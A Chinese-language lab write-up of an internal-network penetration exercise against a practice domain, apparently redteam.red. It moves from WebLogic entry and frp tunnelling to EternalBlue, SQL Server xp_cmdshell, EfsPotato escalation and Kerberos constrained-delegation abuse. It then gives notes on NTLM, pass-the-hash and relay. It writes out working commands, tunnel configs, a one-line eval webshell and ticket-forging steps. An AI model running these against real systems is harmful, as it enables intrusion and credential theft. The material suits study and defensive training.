    image-20220303185452353
    除此之外还可以试试 weblogic 的常用弱口令(github),这里有 weblogic/weblogic123可以直接进后台,可利用的漏洞点就不限于前台的反序列化 rce 了。
    传个?上去,用冰蝎链接做后续攻击。但这里遇到的一个问题就是?的路径选择
    写入console images目录
    物理路径:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
    访问路径:
    /console/framework/skins/wlsconsole/images/shell.jsp
    能传上但访问404
    

    写入uddiexplorer目录中
    物理路径:
    C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
    访问路径:
    /uddiexplorer/shell.jsp
    (发现没这个目录)
    

    写入应用安装目录
    物理路径:C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
    访问路径:
    /项目名/shell.jsp
    (也没路径)
    

    传马失败,等解决了再回来补,这里直接用 CS 生成 powershell 上线了。
    image-20220303201150831
  • 域内个人PC


    做一波信息收集,首先可以确认是没有域,只有两个网段,需要做横向。
    image-20220303203319380
    mimikatz 抓一下密码,win 2012 抓不到明文,能不能通过其他方式拿暂且放一下,继续做横向,用 portscan 扫一下子网,发现 10.10.20.7 主机,传个代理继续打。
    不知道为什么 ew 用不了,所以改用 frp
    攻击机:
    [common]
    bind_addr =0.0.0.0
    bind_port = 7000
    

    跳板机:
    [common]
    server_addr = 192.168.0.128
    server_port = 7000
    
    [plugin_socks]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    用 CS 派生一个监听道到 msf,用 msf 继续打横向:
    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_http
    set lhost 192.168.0.128
    set lport 20001
    连上之后迁移进程
    run post/windows/manage/migrate
    

    msf 挂上代理打永恒之蓝:
    set Proxies socks5:192.168.0.128:7777
    set ReverseAllowProxy true
    

    永恒之蓝的 shell 不稳定,容易打蓝屏,派生到 CS 上继续攻击,但这里有个重要的问题:win7包括域内主机都不出网,通常的手段是用 msf 正向(防火墙限制)或用 CS 中转。
    image-20220304105521144
    比较无法理解的是不知道为什么生成 powershell command 不能选择 CS 中继 Listener,但生成 exe 就可以,第二个坑待会补,用 msf 传 exe 弹到 CS 中继上。
    在打的时候一直反弹不回来,后来想了想才发现 weblogic 主机没关防火墙,ping 都 ping 不通。。。
    最后弹回来了,永恒之蓝打的,还是个 system 权限,可以开始打域控了。
    注意这里不要直接用 ms17_010_eternalblue 打,很容易打蓝屏,用 ms17_010_comman 弹命令开远程桌面打。(但这里会有各种奇奇怪怪的bug,算第三个坑)
    最后还是用 ms17_010_eternalblue 打的。。。。。。
    image-20220304121350143
  • 域渗透


    先做本机信息收集,win7系统,另一张网卡 10.10.10.0/24,存在域 redteam.red,没什么补丁,探测一下域环境。然而现在是 system 权限不在域中,考虑用 msf 的 steal_token 实现降权,重新反弹一个 shell 到 CS 中。
    image-20220304142516587
    继续利用 CS 进行域信息收集,域控 10.10.10.8,域管理员 administrator,还有一台 sqlserver 机器。
    image-20220304154659390
    考虑打域控的几种思路:
    1. 抓密码或 dump 密码,但运行 mimikatz 只能看到 saul 的密码,利用价值不大。
    2. 尝试令牌窃取,但 ps 中没有域控进程,遂放弃
    3. 已有漏洞,如 zerologon 的重置密码等
    4. 委派,先打其他主机
    5. 待补充,但可参考 https://github.com/infosecn1nja/AD-Attack-Defense

    这里尝试通过委派打其他主机,其他方式见坑4。
    传一个 Adfind 上去,查找一下配置了委派的用户
    查询配置了非约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    查询配置了非约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    查询配置了约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    查询配置了约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    

    非约束主机:sqlserver 和 域控
    image-20220304163347119
    非约束用户:saulgoodman
    image-20220304163441281
    约束委派用户:sqlserver
    image-20220304163612633
    考虑到非约束委派在实战中需要被域管访问,比较鸡肋(不鸡肋的打法见坑5)
    这里用约束委派攻击,但首先要拿下 sqlserver 这台机器,传个 fscan 做一下端口扫描。
    shell fscan64.exe -np -h 10.10.10.0/24
    

    80没东西,爆破一下1443 的 sa 用户,密码 sa,传个工具进行连接,这里选用的是 SqlKnife
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --xpcmd -c whoami
    

    image-20220304175322285
    但只是个数据库权限,要想办法提权,但现在这个 shell 很难用,记起来还有个 web 服务,考虑在 web 服务器目录下写shell,但权限太小遂放弃。
    最后用 EfsPotato 提权成功
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 --3 --fix
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 -c whoami
    

    image-20220304190539096
    这就是拿到一个 system 权限了。
    但很鸡肋执行起来有各种问题,在这里卡了好久也没有合适的攻击方法,最终还是又用了 frp 搭了一层代理,让最外层的 kali 能直接访问 10.10.10.0/24。
    frpc.ini
    [common]
    server_addr = 10.10.20.12
    server_port = 9000
    
    [plugin_socks]
    type = tcp
    remote_port = 9999
    plugin = socks5
    

    frps.ini
    [common]
    bind_addr =0.0.0.0
    bind_port = 9000
    

    然后在 kali 的 proxychains4的 配置文件如下:
    image-20220304211645931
    直接挂代理起 msf,用 exploit/windows/mssql/mssql_clr_payload 模块之间打(注意设用户密码)
    用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去,要注意这里存在权限问题,所以选了这个可读可写可执行的目录。
    image-20220304214533360
    也可以直接用 https://github.com/RowTeam/SharpSQLTools/ 带GUI界面执行文件。
    但不知道为什么一直没办法反弹到 cs 上,(或许不能弹中继的中继?)
    最后还是用 msf 生成正向 shell 的马传到 sqlserver 上,再用 再用 EfsPotato 提权后去执行,得到一个 system 权限的 meterpreter。(其实这里用 CS 的 beacon_tcp 也可以实现正向连接)
    msf监听:
    handler -p windows/x64/meterpreter/bind_tcp -H 10.10.10.18 -P 30003
    

    cs 跳板机正向连接
    connect 10.10.10.18 30004
    

    或者先在用 msf 写一个 bat,再用 EfsPotato 提权后去执行(这个 system 不能写只能执行),向 80 端口中写一个 webshell 连接上
    image-20220305202622332
    shell.bat:
    echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx
    

    连上 webshell 之后就要想办法提权了
    查询当前系统缺失的常见可用于提权的补丁:
    systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
    

    (坑。。。。。。具体试了几个都有各种限制)
    总而言之拿到了一个 msf 的 system 的shell,可以继续约束委派攻击了。
    先抓一波密码:
    image-20220305223326202
    这里的 sqlserver 是配置了约束委派的用户,降权到 sqlserver,传一个 kekeo 继续攻击
    请求用户的 TGT
    kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt 
    

    用生成的 TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi 获取域机器的 ST:
    kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt
    

    最后用 mimikatz 将 ST2 导入当前会话
    mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
    

    此时已经和域控建立了 ipc 会话,可以直接远程查看
    image-20220306203648083
    拿到 flag。
  • 没解决的问题:


    • 一路的坑,之后慢慢填
    • CS 和 MSF 操作上有很多的问题
    • 多层内网的反弹 shell(后来一直都是正向链接,有防火墙的话就很难受)
    • 没过杀软,大问题
    • 流量不够隐蔽,没有很好的利用各种隧道隐藏技术
  • 参考文献


  • 前置知识


    本机用户密码 hash 放在 本地的SAM文件,域内用户密码 hash 放在 域控的NTDS.DIT文件。
    NTLM 验证的工作流程:
    t01652f775797dd2789
    1. 登录
    2. 协商,包含客户端支持和服务器请求的功能列表。
    3. 质询,包含服务器支持和同意的功能列表和 challenge
    4. 身份验证,使用用户 hash 和 chanllenge 进行加密得到 response(证明身份)
    5. 服务端和域控建立连接,把前三个消息转发给域控
    6. 域控有用户的 hash,可以加密验证

    另外 NTLM 不是单独的协议,而是嵌套在其他协议中的(http,smb等)
  • Pass the hash(哈希传递攻击)


    身份验证的 response 是之间用 hash 而不是明文密码攻击的,所有模拟用户登录的时候不需要明文密码。对应补丁 kb2871997(但只能缓解不能拿杜绝),kb2871997 对Administrator(rid500)和本地管理员组的域用户没有影响。
    这里发生作用的是远程访问上下文中的用户帐户控制(UAC)令牌筛选。
    在使用本地用户尽心远程登录时不会使用完全管理员权限(因为没过 UAC),但是在域用户被加入到本地管理员组之后,域用户可以使用完全管理员的 AccessToken 运行,且 UAC 不会生效。
    但是,如果 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy项存在(默认不存在)且配置为1,将授予来自管理员所有本地成员的远程连接完整的高完整性令牌。这意味着未过滤非RID 500帐户连接,并且可以成功传递哈希值!(可留作后门)。
    KB2871997的更改

    1. 支持“ProtectedUsers”组
      “ProtectedUsers”组是WindowsServer 2012 R2域中的安全组,“ProtectedUsers”组成员会强制使用 Kerberos 身份验证,并且对 Kerberos 强制执行 AES 加密。
    2. RestrictedAdmin RDP模式的远程桌面客户端支持
      避免将 Client 端的凭据暴露给远程系统,同时衍生出新的攻击方式(Passingthe Hash with Remote Desktop)。
    3. 注销后删除凭证
    4. 添加两个 SID
      1、本地帐户,LOCAL_ACCOUNT(S-1-5-113),所有本地帐户继承自此SID;
      2、本地帐户和管理组成员(所有本地Administrators组中的本地帐户),LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114),所有管理员组的本地用户继承此SID。
      

      1574139458_5dd37642a9658
    5. LSASS中删除了明文凭证
      注册表地址:HKEY_LOCAL_MACHINE\ System \ CurrentControlSet \ Control \ SecurityProviders \ WDigest
      如果UseLogonCredential值设置为0,则WDigest不会将凭据存储在内存中;
      如果UseLogonCredential值设置为1,WDigest将在内存中存储凭据。
  • 信息收集


    在质询阶段返回 Challenge 的过程中同时返回了操作系统类型,主机名,netbios名等等,可以通过给服务器发请求得到服务器信息。
  • ntlm relay


    t01f22f78b71df16680
    客户端计算完 response 之后,被中间人转发到服务端,最后服务端授予中间人访问权限。
    • Net-NTLM v1 的破解

      Responder.conf 中 的Challenge,设为 1122334455667788,在这种情况下先用使用ntlmv1-multi里面的 ntlmv1.py 转换 ,再用 https://crack.sh/get-cracking/ 就能破解了。
      其实有两种加密方式,由 NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY 决定(0/1),其中的 NTLMSSPNEGOTIATEEXTENDED_SESSIONSECURITY 来自质询阶段。
      第一种加密(0的时候,Responder默认获取)
      1. 将 16字节的NTLM hash空填充为21个字节,然后分成三组,每组7字节
      2. 将三组(每组7字节)经过运算后作为DES加密算法的密钥(7字节凑一个奇偶叫用位补全)
      3. 加密Server Challenge
      4. 将这三个密文值连接起来得到response。

      第二种加密 (1的时候,Responder加--lm时获取)
      加密的内容不是 Server Challenge,而是 md5(server challeng+client challent) 的前8位。
    • Net-NTLM v2 的破解 & Relay

      hashcat 进行字典破解,大概率跑不出来,于是就要用 Relay 来搞了。
      1.Relay2SMB,直接 relay 到 smb 服务器,可以控制该服务器,分为两种情况
      • 工作组,不同机器没有信任关系,没什么用,攻击手段就是 reflect 回机器本身,ms08-068中有限制,在CVE-2019-1384(Ghost Potato)被绕过。
      • 域环境,如果没有限制某域用户登录到某台机器的时候,可以 relay,当然拿到了域控也可以 relay 到普通机器。

      2.Relay2EWS, relay 到 Exchange 上,从而能收发邮件,进行代理等,如果 Exchange开放在外网的话,可以直接从外网发起 relay。
      工具:https://github.com/Arno0x/NtlmRelayToEWS
      3.Relay2LDAP,三种情况:
      • 高权限用户发起 NTLM 请求,包括
        Enterprise admins
        Domain admins
        Built-in Administrators
        Backup operators
        Account operators
        

        那么就可以将任意用户拉进组,把它变成高权限用户。
      • 有 write-acl 权限,可以添加两台 acl,之后细说。
      • 普通用户权限,server2012 R2 之后,可以设置基于资源的约束委派。
  • 参考文献